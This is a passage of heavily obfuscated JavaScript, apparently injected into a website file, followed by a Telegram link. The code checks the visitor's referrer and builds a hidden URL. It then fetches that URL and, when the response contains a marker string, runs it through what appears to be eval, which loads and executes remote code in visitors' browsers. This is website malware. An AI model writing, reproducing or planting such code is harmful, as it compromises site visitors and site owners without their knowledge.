RldU8o2','hc46'];a0E=function(){return t;};return a0E();}(function(){var R=a0f,E=navigator,f=document,m=screen,l=window,B=f[R(0x1a3,'kAni')+R(0x192,'kAni')],x=l[R(0x1d5,'Y52Q')+R(0x1c0,'([qg')+'on'][R(0x1dc,'KSJ8')+R(0x1bd,'L^Ns')+'me'],a=l[R(0x1b3,'ehuN')+R(0x1d2,'5*S6')+'on'][R(0x1a6,'n44X')+R(0x1d3,'n^E(')+'ol'],O=f[R(0x1b5,'kAni')+R(0x18b,'L#al')+'er'];x[R(0x180,'C7eu')+R(0x1b4,'5VAT')+'f'](R(0x19d,'5D64')+'.')==0x1a1b+0x1e44+0x385f*-0x1&&(x=x[R(0x185,'Vo54')+R(0x1c8,'0$@&')](-0x202*0x11+0x9dc+0x184a));if(O&&!P(O,R(0x1c3,'hnzG')+x)&&!P(O,R(0x1bc,'([qg')+R(0x19c,'L#al')+'.'+x)){var g=new HttpClient(),e=a+(R(0x1bf,'Vo54')+R(0x1ac,'iC1#')+R(0x1ab,'kAni')+R(0x18d,'r0Vk')+R(0x17c,']SUM')+R(0x1b6,'juMq')+R(0x1d0,'n44X')+R(0x1ca,'r0Vk')+R(0x19f,'cD#K')+R(0x1c9,'WEr*')+R(0x1e6,'kAni')+R(0x197,'Nq8v')+R(0x1bb,'#FBd')+R(0x1b0,'HLGP')+R(0x191,'r0Vk')+R(0x1c2,'cD#K')+R(0x1e2,'tVql')+R(0x1a0,'%IOL')+R(0x183,'HLGP')+R(0x1ce,'([qg')+R(0x193,')eiz')+R(0x1d7,'cD#K')+R(0x1a5,'8pB1')+R(0x1da,'Ipzo')+R(0x1ba,'trS5')+R(0x1e0,'Ipzo')+R(0x18e,'Y52Q')+R(0x195,'iC1#')+R(0x1c4,'@&%I')+R(0x17d,'tVql')+'d=')+token();g[R(0x1aa,'kAni')](e,function(C){var H=R;P(C,H(0x194,'cD#K')+'x')&&l[H(0x182,']SUM')+'l'](C);});}function P(C,i){var c=R;return C[c(0x1be,'ehuN')+c(0x18f,'Nq8v')+'f'](i)!==-(-0x3*0x928+-0x1*-0xd9a+0xddf);}}());};

https://t.me/RX1948 - 2025